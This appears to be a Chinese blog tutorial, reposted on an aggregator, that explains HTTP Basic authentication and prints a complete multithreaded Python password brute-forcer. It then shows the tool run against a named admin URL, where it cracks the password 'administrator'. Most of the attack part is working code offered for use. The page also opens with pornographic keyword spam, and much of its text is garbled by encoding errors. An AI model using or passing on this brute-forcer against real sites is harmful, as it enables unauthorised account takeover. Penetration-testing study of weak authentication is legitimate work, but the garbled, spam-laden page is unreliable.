日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > python >内容正文

python

网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器

發(fā)布時間:2023/12/10 python 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

相關(guān)文章:

本篇將會涉及:

HTTP 基本認(rèn)證

對HTTP Basic認(rèn)證進(jìn)行密碼暴力攻擊測試

什么是HTTP 基本認(rèn)證

HTTP基本認(rèn)證(HTTP Basic Authentication)是HTTP協(xié)議中實(shí)現(xiàn)Web資源訪問控制的最簡單的認(rèn)證手段。其通過添加header頭域的方式或者在URL中附帶參數(shù)的方式提供認(rèn)證信息,并通過Base64編碼將認(rèn)證信息進(jìn)行編碼傳輸,最后由服務(wù)器接收到編碼后的字符進(jìn)行解碼認(rèn)證。

當(dāng)我們訪問一個需要進(jìn)行HTTP基本認(rèn)證的網(wǎng)址時,其會通過響應(yīng)一個401狀態(tài)碼,并返回一個認(rèn)證框來接收用戶輸入的認(rèn)證信息。如果我們填錯,服務(wù)器會繼續(xù)返回一個401狀態(tài)碼和認(rèn)證框,如果認(rèn)證成功,則返回200請求成功狀態(tài)碼。

HTTP基本認(rèn)證一個優(yōu)點(diǎn)是幾乎所有的現(xiàn)代瀏覽器都支持這種認(rèn)證方式,非常的簡單方便,但是由于其技術(shù)特性,這種認(rèn)證方式并不是很安全,現(xiàn)在亦多存在于內(nèi)網(wǎng)環(huán)境下的站點(diǎn)。

其采用的Base64編碼加密,也是屬于“防君子不防小人”的加密。利用Python的base64模塊,我們就能夠輕松的進(jìn)行加密和解密:

import base64

# 原始字符串

a = 'admin123'

# base64編碼加密

b = base64.b64encode(a.encode('utf-8'))

print(str(b,'utf-8'))

# base64編碼解密

c = str(b,'utf-8')

d = base64.b64decode(c)

print(str(d,'utf-8'))

返回的結(jié)果為:

YWRtaW4xMjM=

admin123

是不是感覺很坑爹,嗯,就是的。^_^

編寫Python密碼暴力測試器

了解了HTTP基本認(rèn)證的一些概念,下面我們繼續(xù)使用Python編寫一個滲透測試密碼暴力破解器。

照常,我們引入相關(guān)的模塊

# coding:utf-8

import requests

import sys

import getopt

import time

from termcolor import colored

from threading import Thread

由于字典中的條目會有很多,所以我們設(shè)置一個全局變量,用來標(biāo)識字典中的密碼是否有效:

global valid

valid = '1'

然后照例我們定義一個橫幅函數(shù),裝飾我們的單調(diào)的命令行:

# 程序標(biāo)識

def banner():

print("\n********************")

name = '''

______ _ _

|___ / (_) | |

/ / _ __ ___ _ ___| |_ ___ _ __

/ / | '_ ` _ \| / __| __/ _ \ '__|

/ /__| | | | | | \__ \ || __/ |

/_____|_| |_| |_|_|___/\__\___|_|

'''

print(name)

print("州的先生-密碼暴力測試器 v1.0")

print("***********************")

接著,仍然是程序的使用參數(shù)方法示例:

# 程序用法

def usage():

print("州的先生密碼暴力測試器使用方法:")

print(" -w:網(wǎng)址 (http://wensite.com/admin)")

print(" -u:用戶名")

print(" -t:線程數(shù)")

print(" -f:字典文件")

print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")

接著就是我們的主類request_performer():

class request_performer(Thread):

def __init__(self,name,user,url):

Thread.__init__(self)

try:

self.password = name.split("\n")[0]

self.username = user

self.url = url

except Exception as e:

print(e)

def run(self):

global valid

if valid == '1':

try:

r = requests.get(self.url,auth=(self.username,self.password))

if r.status_code == 200:

valid = '0'

print("[+]發(fā)現(xiàn)密碼:"+ colored(self.password,'green'))

sys.exit()

else:

print("無效的密碼:"+ self.password)

i[0] = i[0] - 1

except Exception as e:

print(e)

最后是啟動線程的函數(shù)launcher_thread()和啟動程序的函數(shù)start():

def start(argv):

banner()

if len(sys.argv) < 5:

usage()

sys.exit()

try:

opts, args = getopt.getopt(argv, "u:w:f:t:")

except getopt.GetoptError:

print("錯誤的參數(shù)")

sys.exit()

for opt, args in opts:

if opt == '-u':

user = args

elif opt == '-w':

url = args

elif opt == '-f':

dicts = args

elif opt == '-t':

threads = args

try:

f = open(dicts, 'r')

passwords = f.readlines()

except:

print("打開文件錯誤:", dicts, "\n")

sys.exit()

launcher_thread(passwords,threads,user,url)

def launcher_thread(passwords,th,username,url):

global i

i = []

print("==============================================")

i.append(0)

while len(passwords):

if valid == '1':

try:

if i[0] < int(th):

passwd = passwords.pop(0)

i[0] = i[0]+1

thread = request_performer(passwd,username,url)

thread.start()

except KeyboardInterrupt:

print("用戶停止了程序運(yùn)行。完成探測")

sys.exit()

thread.join()

return True

在命令行終端運(yùn)行命令:

python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt

結(jié)果顯示發(fā)現(xiàn)了一個密碼“administrator”

我們打開http://www.scruffybank.com/Admin,使用用戶名admin和密碼administrator登錄,看看能否成功登錄。

結(jié)果認(rèn)證成功進(jìn)入了一個目錄內(nèi),說明我們的弱口令密碼暴力測試成功了。

下一篇,我們將改進(jìn)我們的密碼暴力測試器,讓其支持更加安全的認(rèn)證方式——HTTP摘要認(rèn)證。

敬請期待!

總結(jié)

以上是生活随笔為你收集整理的网络安全用python吗_使用Python进行网络安全渗透——密码攻击测试器的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。